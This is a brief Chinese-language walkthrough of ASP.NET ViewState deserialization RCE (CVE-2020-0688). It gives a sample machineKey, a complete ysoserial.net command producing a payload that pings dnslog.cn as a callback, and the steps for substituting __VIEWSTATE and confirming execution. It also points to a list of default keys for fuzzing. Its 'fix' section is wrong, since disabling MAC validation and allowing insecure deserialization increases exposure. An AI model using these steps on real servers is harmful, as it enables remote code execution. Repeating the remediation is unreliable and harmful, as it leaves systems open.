_ViewState反序列化实现命令执行
参考资料:
嘶吼: https://www.4hou.com/posts/GYq7
开源中国:https://my.oschina.net/u/3076320/blog/4539467/print
CVE-2020-0688
ViewState简介:
ASP.NET Web应用程序使用ViewState来维护页面状态,并在Web表单中保留数据。ViewState参数是Base64序列化后的餐胡,通常会在POST请求中通过名为“__VIEWSTATE”的隐藏参数发送。在服务器端,将对这个参数进行反序列化,并检索数据。
也就是说,他只能用于web forms ,在MVC模式下,是不存在的。
复现条件:
需要得到 validationKey 验证密钥 以及 validation 验证方法
常见格式如下:
<machineKey validationKey="3FF1E929BC0534950B0920A7B59FA698BD02DFE8" decryptionKey="280450BB36319B474C996B506A95AEDF9B51211B1D2B7A77" decryption="3DES" validation="SHA1" />
一般存放于web.config 或者 machine.config
该漏洞可以搭配文件包含或者敏感文件泄露(web.config)
复现过程:
需要使用ysoserial.net 帮助生成Payload
命令如下:
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping dnslog.cn" --generator=1DED13B6 --validationalg="SHA1" --validationkey="3FF1E929BC0534950B0920A7B59FA698BD02DFE8" –isdebug
ysoserial.net 各参数说明:
-p : 要使用的插件 -g 攻击向量 -c 命令
其中
--generator
所对应的值为,提交_ViewState请求包中的__VIEWSTATEGENERATOR参数
validationalg 为machineKey配置中的 validation 验证方法
validationkey为machineKey配置中的 validationkey验证密匙
–isdebug开启调试
各个参数填充好后,会得到一串Base64编码的Payload
将其复制下来,替换请求包体中的__VIEWSTATE参数的值
发送带有此Payload的数据包。
会返回500错误。在Ceye上也收到了对应的记录
说明命令执行成功。
修复方案:
1. 将AspNetEnforceViewStateMac注册表项设置为0来禁用MAC验证功能:
注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}
2. 在Web.config中,添加以下内容,
<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
实用技巧:
可以采用Fuzz的方式探测默认Key值:
常见默认Key合集:
https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState_Key.txt